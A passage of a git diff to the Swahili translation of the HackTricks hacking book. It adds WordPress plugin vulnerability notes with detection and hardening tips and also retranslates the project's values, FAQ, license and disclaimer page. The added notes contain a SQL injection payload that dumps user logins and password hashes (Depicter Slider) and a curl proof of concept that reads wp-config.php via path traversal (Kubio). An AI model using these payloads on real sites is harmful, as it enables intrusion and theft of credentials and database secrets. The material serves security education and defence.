SELECT user_login,user_pass FROM wp_users-- -" +``` +Detection checklist +- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL +- Pitia custom queries zinazopitishwa kwa $wpdb->get_results()/query() zinazochanganya s + +Hardening +- Tumia kila mara $wpdb->prepare() au wpdb placeholders; kataa metacharacters zisizotarajiwa upande wa server +- Ongeza allowlist kali kwa s na linganisha hadi charset/length inayotarajiwa + +--- + +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) + +Kukubali paths zinazosimamiwa na mshambuliaji katika parameter ya template bila normalisation/containment kunaruhusu kusoma faili za ndani yoyote, na wakati mwingine code execution ikiwa faili za PHP/log zinazoweza kujumuishwa zitaletwa wakati wa runtime. + +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: hakuna normalisation/allowlisting; traversal umewezekana +- Impact: ufichuaji wa siri (wp-config.php), uwezekano wa RCE katika mazingira maalum (log poisoning, includable PHP) + +PoC – soma wp-config.php +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` +Orodha ya utambuzi +- Any handler anayechanganya request paths ndani ya include()/require()/read sinks bila realpath() containment +- Tafuta traversal patterns (../) zinazofikia nje ya templates directory iliyokusudiwa + +Uimarishaji +- Lazimisha allowlisted templates; tatua kwa realpath() na require str_starts_with(realpath(file), realpath(allowed_base)) +- Normaliza input; kataa traversal sequences na absolute paths; tumia sanitize_file_name() only for filenames (not full paths) + ## Marejeo @@ -714,5 +854,11 @@ Seva inarudisha yaliyomo ya `wp-config.php`, leaking DB credentials and auth key - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) +- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 230204986..4dbc229a9 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,21 +1,21 @@ -# Maadili ya HackTricks & FAQ +# Thamani za HackTricks & FAQ {{#include ../banners/hacktricks-training.md}} -## Maadili ya HackTricks +## Thamani za HackTricks > [!TIP] -> Haya ndiyo **maadili ya Mradi wa HackTricks**: +> Hizi ndio **thamani za Mradi wa HackTricks**: > -> - Toa **BURE** ufikivu kwa rasilimali za **ELIMU hacking** kwa **WOTE** wa Mtandao. -> - Hacking ni kuhusu kujifunza, na kujifunza kunapaswa kuwa bure kadiri inavyowezekana. -> - Kusudi la kitabu hiki ni kutumika kama **rasilimali kamili za elimu**. -> - **Hifadhi** mbinu za kushangaza za **hacking** ambazo jamii inazochapisha ukimpa **WAANDISHI** **WA ASILI** sifa zote. -> - **Hatutaki sifa kutoka kwa watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu. -> - Pia tunaandika **tafiti zetu** ndani ya HackTricks. -> - Katika visa kadhaa tutaanika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutawahimiza wasomaji **kutembelea chapisho la asili** kwa maelezo zaidi. -> - **Panga** mbinu zote za **hacking** katika kitabu ili ziwe **NYEPESI KUFIKIKA** -> - Timu ya HackTricks imejitolea maelfu ya saa kwa bure **tu kupanga maudhui** ili watu waweze **kujifunza kwa haraka** +> - Toa upatikanaji wa **BILA MALIPO** kwa rasilimali za **elimu za hacking** kwa **mtandao wote**. +> - Hacking ni kuhusu kujifunza, na kujifunza kunapaswa kuwa kwa bure kadri inavyowezekana. +> - Lengo la kitabu hiki ni kuitumikia kama rasilimali ya kina ya **elimu**. +> - **Hifadhi** mbinu za kupendeza za **hacking** ambazo jamii inazichapisha na kuwapa **MAWANDISHI WA ASILI** wote **mikopo**. +> - **Hatuotaki sifa kutoka kwa watu wengine**, tunataka tu kuhifadhi trick nzuri kwa kila mtu. +> - Pia tunaandika **tafiti zetu** kwenye HackTricks. +> - Katika kesi kadhaa tutaandika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tuta**hamasisha msomaji atembelee chapisho la asili** kwa maelezo zaidi. +> - **PANGA** mbinu zote za **hacking** kwenye kitabu ili ziwe **RAHISI KUPATIKANA ZAIDI** +> - Timu ya HackTricks imejitolea maelfu ya masaa bila malipo **tu kupanga maudhui** ili watu waweze **kujifunza kwa haraka**
@@ -25,33 +25,33 @@ > > - **Asante sana kwa rasilimali hizi, ninawezaje kuwashukuru?** -Unaweza kuwashukuru hadharani timu za HackTricks kwa kuziweka rasilimali hizi hadharani katika tweet ukimtaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Ikiwa umefurahi sana unaweza pia [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ -Na usisahau **kumpa nyota miradi ya Github!** (Tafuta viungo hapa chini). +Unaweza kumshukuru kwa umma timu za HackTricks kwa kuandaa rasilimali hizi zote kwa kuchapisha tweet ukimtaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Ikiwa umewashukuru sana unaweza pia [**kufadhili mradi hapa**](https://github.com/sponsors/carlospolop).\ +Na usisahau **kuweka nyota kwenye miradi ya Github!** (Tafuta viungo hapa chini). > [!TIP] > -> - **Ninawezaje kuchangia kwenye mradi?** +> - **Ninawezaje kuchangia mradi?** -Unaweza **kushiriki vidokezo vipya na mbinu na jamii au kurekebisha bugs** utakazopata katika vitabu kwa kutuma **Pull Request** kwa kurasa husika za Github: +Unaweza **share new tips and tricks with the community or fix bugs** unazopata katika vitabu kwa kutuma **Pull Request** kwa kurasa husika za Github: -- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) -- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) +- https://github.com/carlospolop/hacktricks +- https://github.com/carlospolop/hacktricks-cloud -Usisahau **kumpa nyota miradi ya Github!** +Usisahau **kuweka nyota kwenye miradi ya Github!** > [!TIP] > -> - **Je, ninaweza kunakili baadhi ya yaliyomo kutoka HackTricks na kuyaweka kwenye blogu yangu?** +> - **Naweza kunakili baadhi ya maudhui kutoka HackTricks na kuyaweka kwenye blogu yangu?** -Ndiyo, unaweza, lakini **usisahau kutaja kiungo(viungo) maalum** ambako yaliyomo yalichukuliwa. +Ndiyo, unaweza, lakini **usisahau kutaja kiungo/viungo maalum** ambavyo maudhui yalichukuliwa kutoka. > [!TIP] > > - **Ninawezaje kurejea ukurasa wa HackTricks?** -Iwapo kiungo cha ukurasa(ukurasa) ambacho umetumia kuleta taarifa kiko, hiyo inatosha.\ -Kama unahitaji bibtex unaweza kutumia kitu kama: +Mradi tu kiungo **cha** ukurasa(au kurasa) ulizotumia taarifa kutoka kinaonekana inatosha.\ +Ukihitaji bibtex unaweza kutumia kitu kama: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,47 +62,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Je, ninaweza kunakili HackTricks yote kwenye blogi yangu?** +> - **Naweza kunakili HackTricks zote kwenye blogi yangu?** -**Ningependelea isiwe hivyo**. Hilo **halitawafaidia mtu yeyote** kwani maudhui yote tayari yamewekwa hadharani katika vitabu rasmi vya HackTricks kwa bure. +**Ningependelea si.** Hiyo **haitamfaidi mtu yeyote** kwa sababu **maudhui yote tayari yamo hadharani** katika vitabu rasmi vya HackTricks kwa **bure**. -Ikiwa unahofia itaondoka, iforke tu kwenye Github au uipakue; kama nilivyosema, tayari ni bure. +Ikiwa una hofu kwamba yatafifia, fanya tu fork kwenye Github au jipakue; kama nilivyosema tayari ni bure. > [!WARNING] > > - **Kwa nini mna sponsors? Je, vitabu vya HackTricks vimetengenezwa kwa madhumuni ya kibiashara?** -Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu za hacking **BURE** kwa dunia yote. Timu ya HackTricks imeweka **maelfu ya saa** kutoa maudhui haya, tena, kwa **BURE**. +Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu ya **hacking** ZA **BURE** kwa **WOTE** duniani. Timu ya HackTricks imejitolea maelfu ya saa kutoa maudhui haya, tena, kwa **BURE**. -Ikiwa unafikiri vitabu vya HackTricks vimetengenezwa kwa madhumuni ya kibiashara, wewe **UMEKOSA KABISA**. +Ikiwa unafikiri vitabu vya HackTricks vimetengenezwa kwa **madhumuni ya kibiashara** uko **KOSA KABISA**. -Tuna sponsors kwa sababu, hata kama maudhui yote ni BURE, tunataka kutoa jamii fursa ya kuthamini kazi yetu iwapo wanataka. Kwa hivyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni husika za usalama wa mtandao kuweza kuisponsor HackTricks na kuweka baadhi ya matangazo katika kitabu, na matangazo hayo huwa yamewekwa sehemu zinazoyaonekana lakini hayavurugi mchakato wa kujifunza pale mtu anapolenga maudhui. +Tuna sponsors kwa sababu, hata kama maudhui yote ni ZA **BURE**, tunataka kutoa jamii uwezekano wa kuthamini kazi yetu ikiwa wanaona inafaa. Kwa hiyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni zinazohusiana na cybersecurity kushirikiana na HackTricks na kuweka baadhi ya matangazo katika kitabu, huku matangazo hayo yakiwa yamewekwa sehemu zinazoonekana lakini **hazivurugi** mchakato wa kujifunza ikiwa mtu anazingatia maudhui. -Hautapata HackTricks imejazwa na matangazo ya kusumbua kama blogi nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haikutengenezwi kwa madhumuni ya kibiashara. +Hautapokea HackTricks ikiwa imejazwa na matangazo yanayekera kama blogi nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haijatengenezwa kwa madhumuni ya kibiashara. > [!CAUTION] > > - **Nifanye nini ikiwa ukurasa wa HackTricks umejengwa kwa msingi wa chapisho langu la blogi lakini haujatajwa chanzo?** -**Tunasikitika sana. Hii haipaswi kuwa imekutokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogi yako na **tutakagua na kuiongeza HARAKA**. +**Tunasikitika sana. Hii haipaswi kutokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogi yako na **tutakagua na kuiongeza ASAP**. > [!CAUTION] > -> - **Nifanye nini ikiwa kuna maudhui kutoka blogi yangu kwenye HackTricks na sitaki yawepo?** +> - **Nifanye nini ikiwa kuna maudhui kutoka blogi yangu kwenye HackTricks na sitaki yawepo hapo?** -Tafadhali zingatia kuwa kuwa na viungo vya ukurasa wako ndani ya HackTricks: +Kumbuka kwamba kuwa na viungo kwenye ukurasa wako katika HackTricks: -- Inaboresha SEO yako -- Maudhui yanatafsiriwa kwa zaidi ya lugha 15 na kufanya iwezekane watu wengi zaidi kufikia maudhui haya -- HackTricks inahimiza watu kutembelea ukurasa wako (watu kadhaa wamesema kwetu kuwa tangu ukurasa wao uwepo katika HackTricks wamepata ziara nyingi zaidi) +- Huboresha **SEO** yako +- Maudhui yanapata **kutafsiriwa katika lugha zaidi ya 15** na hivyo kuwawezesha watu wengi zaidi kuyapata +- **HackTricks inahimiza** watu **kuangalia ukurasa wako** (watu kadhaa wametujulisha kwamba tangu ukurasa wao uanze kuwepo katika HackTricks wamepata ziara nyingi zaidi) -Hata hivyo, ikiwa bado unataka maudhui ya blogi yako yaondolewe kutoka HackTricks, tujulishe tu na tutafuta kuondoa kila kiungo cha blogi yako, na maudhui yoyote yaliyojengwa kwa msingi wake. +Hata hivyo, ikiwa bado unataka maudhui ya blogi yako yatoweke, tujulishe na bila shaka **tutaondoa kila kiungo kwa blogi yako**, na maudhui yoyote yaliyojengwa kutokana nayo. > [!CAUTION] > -> - **Nifanye nini ikiwa ninapata maudhui yaliyo nakiliwa na kubandikwa (copy-pasted) ndani ya HackTricks?** +> - **Nifanye nini nikigundua maudhui yaliyopakuliwa (copy-pasted) kwenye HackTricks?** -Sisi kila mara tunampatia mwandishi wa asili sifa zote. Ikiwa unapata ukurasa wenye maudhui yaliyo nakiliwa bila marejeleo ya chanzo asili, tujulishe na sisi tutaeither **kuiondoa**, **kuongeza kiungo kabla ya maandishi**, au **kuiandika upya kwa kuongeza kiungo**. +Daima **tunamtoa mwandishi wa asili sifa zote**. Ikiwa unapata ukurasa wenye maudhui yaliyopakuliwa bila chanzo cha asili kurejelewa, tujulishe na sisi tutafanya mojawapo ya yafuatayo: **tutaiondoa**, **tutaongeza kiungo kabla ya maandishi**, au **tutairekebisha kwa kuiongeza kiungo**. ## LESENI @@ -110,34 +110,34 @@ Hakimiliki © Haki zote zimehifadhiwa isipokuwa ilivyoainishwa vinginevyo. #### Muhtasari wa Leseni: -- Utoaji wa Sifa: Una uhuru wa: - - Kushiriki — kunakili na kueneza tena maudhui haya kwa vyombo au muundo wowote. - - Kurekebisha — kuchanganya upya, kubadilisha, na kujenga juu ya maudhui hayo. +- Utambulisho: Una uhuru wa: +- Kushiriki — kunakili na kusambaza tena nyenzo kwa njia yoyote au umbizo wowote. +- Kurekebisha — kuchanganya upya, kubadilisha, na kujenga juu ya nyenzo. #### Masharti ya Ziada: -- Maudhui ya Watu Wengine: Sehemu baadhi za blogi/kitabu hiki zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vipande kutoka blogi au machapisho mengine. Matumizi ya maudhui kama hayo yanafanywa chini ya kanuni za matumizi ya haki au kwa idhini ya wamiliki wa hakimiliki waliotofautishwa. Tafadhali rejea vyanzo vya asili kwa taarifa maalum za leseni zinazohusu maudhui ya watu wengine. -- Uandishi: Maudhui ya awali yaliyoandikwa na HackTricks yanatawaliwa na masharti ya leseni hii. Unahimizwa kumtaja mwandishi unaposambaza au kurekebisha kazi hii. +- Yaliyomo ya Wahusika Wengine: Sehemu kadhaa za blogi/kitabu hiki zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vipande kutoka blogi nyingine au machapisho. Matumizi ya maudhui kama haya yanafanywa chini ya kanuni za fair use au kwa idhini ya wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejea vyanzo vya asili kwa taarifa maalum za leseni kuhusu maudhui ya wahusika wengine. +- Uandishi: Maudhui ya awali yaliyotungwa na HackTricks yamo chini ya masharti ya leseni hii. Unahimizwa kumtaja mwandishi wakati wa kushiriki au kurekebisha kazi hii. #### Msamaha: - Matumizi ya Kibiashara: Kwa maswali kuhusu matumizi ya kibiashara ya maudhui haya, tafadhali wasiliana nami. -Leseni hii haisemi kutoa haki yoyote ya chapa au alama za kibiashara kuhusiana na maudhui. Alama zote za biashara na chapa zilizo kwenye blogi/kitabu hiki ni mali ya wamiliki wake. +Leseni hii hawaitoi haki yoyote ya alama za biashara au haki za chapa kuhusiana na maudhui. Alama zote za biashara na chapa zilizotajwa katika blogi/kitabu hiki ni mali ya wamiliki wao mtawaliwa. -**Kwa kuingia au kutumia HackTricks, unakubali kuzingatia masharti ya leseni hii. Ikiwa humpendi masharti haya, tafadhali usifike tena kwenye tovuti hii.** +**Kwa kuingia au kutumia HackTricks, unakubali kufuata masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usiingie kwenye tovuti hii.** -## **Taarifa ya kutokuwajibika** +## **KIDOKEZO CHA KUTOHUSIKA** > [!CAUTION] -> Kitabu hiki, 'HackTricks,' kimetengenezwa kwa madhumuni ya elimu na taarifa tu. Maudhui ndani ya kitabu hiki yanatolewa "kama yalivyo", na waandishi na wachapishaji hawatoi uwakilishi au dhamana ya aina yoyote, iwe wazi au isiyo wazi, kuhusu ukamilifu, usahihi, uaminifu, unaofaa, au upatikane wa taarifa, bidhaa, huduma, au michoro inayohusiana ndani ya kitabu hiki. Kila utegemezi utakao wekwa kwenye taarifa hizo ni kwa hatari yako mwenyewe. +> Kitabu hiki, 'HackTricks,' kimetengenezwa kwa madhumuni ya elimu na taarifa tu. Maudhui ndani ya kitabu hiki yanatolewa kwa hali ya "kama yalivyo", na waandishi na wachapishaji hawatoa uwakilishi wala dhamana ya aina yoyote, iwe bayana au iliyotamkwa, kuhusu ukamilifu, usahihi, uimara, uwajibikaji, ubora, au upatikana wa taarifa, bidhaa, huduma, au michoro inayohusiana iliyomo katika kitabu hiki. Kila tegemezi unaloweka kwenye taarifa hizo ni kwa hatari yako wewe mwenyewe. > -> Waandishi na wachapishaji hawatakuwa wanalazimika kwa namna yoyote kwa hasara au uharibifu wowote, ikiwa ni pamoja na bila kikomo, hasara isiyo ya moja kwa moja au ya matokeo, au hasara au uharibifu wowote utakaojitokeza kutokana na au kuhusiana na matumizi ya kitabu hiki. +> Waandishi na wachapishaji hawatakuwa chini ya hatima yeyote walau ya hasara au uharibifu wowote, ikiwa ni pamoja na, bila kikomo, hasara za moja kwa moja au za matokeo, au hasara yoyote ile inayotokana na upotevu wa data au faida zinazotokana na, au kuhusiana na, matumizi ya kitabu hiki. > -> Aidha, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa tu, na havipaswi kutumiwa kwa shughuli zozote haramu au zenye nia mbaya. Waandishi na wachapishaji hawapendekezi wala kuunga mkono shughuli zozote haramu au zisizo za kimaadili, na matumizi yoyote ya taarifa zilizo ndani ya kitabu hiki ni kwa hatari na uamuzi wa mtumiaji. +> Zaidi ya hayo, mbinu na vidokezo vilivyoripotiwa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa tu, na havipaswi kutumika kwa shughuli zozote haramu au zenye madhara. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote haramu au zisizo za kimaadili, na matumizi yoyote ya taarifa zinazomo katika kitabu hiki ni kwa hatari na uamuzi wa mtumiaji. > -> Mtumiaji ndiye mwenye jukumu la vitendo vyovyote atakavyofanya kwa kuzingatia taarifa zilizo ndani ya kitabu hiki, na anapaswa kutafuta ushauri wa kitaalamu na msaada wakati anajaribu kutekeleza mbinu au vidokezo vilivyoelezewa hapa. +> Mtumiaji ndiye mwenye jukumu kamili kwa vitendo vyovyote anavyochukua kwa msingi wa taarifa zilizomo ndani ya kitabu hiki, na anapaswa kila wakati kutafuta ushauri wa kitaalamu na msaada wakati anajaribu kutekeleza mbinu au vidokezo vilivyotajwa hapa. > -> Kwa kutumia kitabu hiki, mtumiaji anakubali kumrelease waandishi na wachapishaji kutoka kwa dhamana yoyote na uwajibikaji kwa uharibifu, hasara, au madhara yoyote yatakayoweza kutokea kutokana na matumizi ya kitabu hiki au taarifa zozote zilizo ndani yake. +> Kwa kutumia kitabu hiki, mtumiaji anakubali kumwachilia waandishi na wachapishaji kutoka kwa uzito wowote wa dhamana na uwajibikaji kwa uharibifu, hasara, au madhara yanayoweza kutokea kutokana na matumizi ya kitabu hiki au taarifa zilizomo ndani yake. {{#include ../banners/hacktricks-training.md}}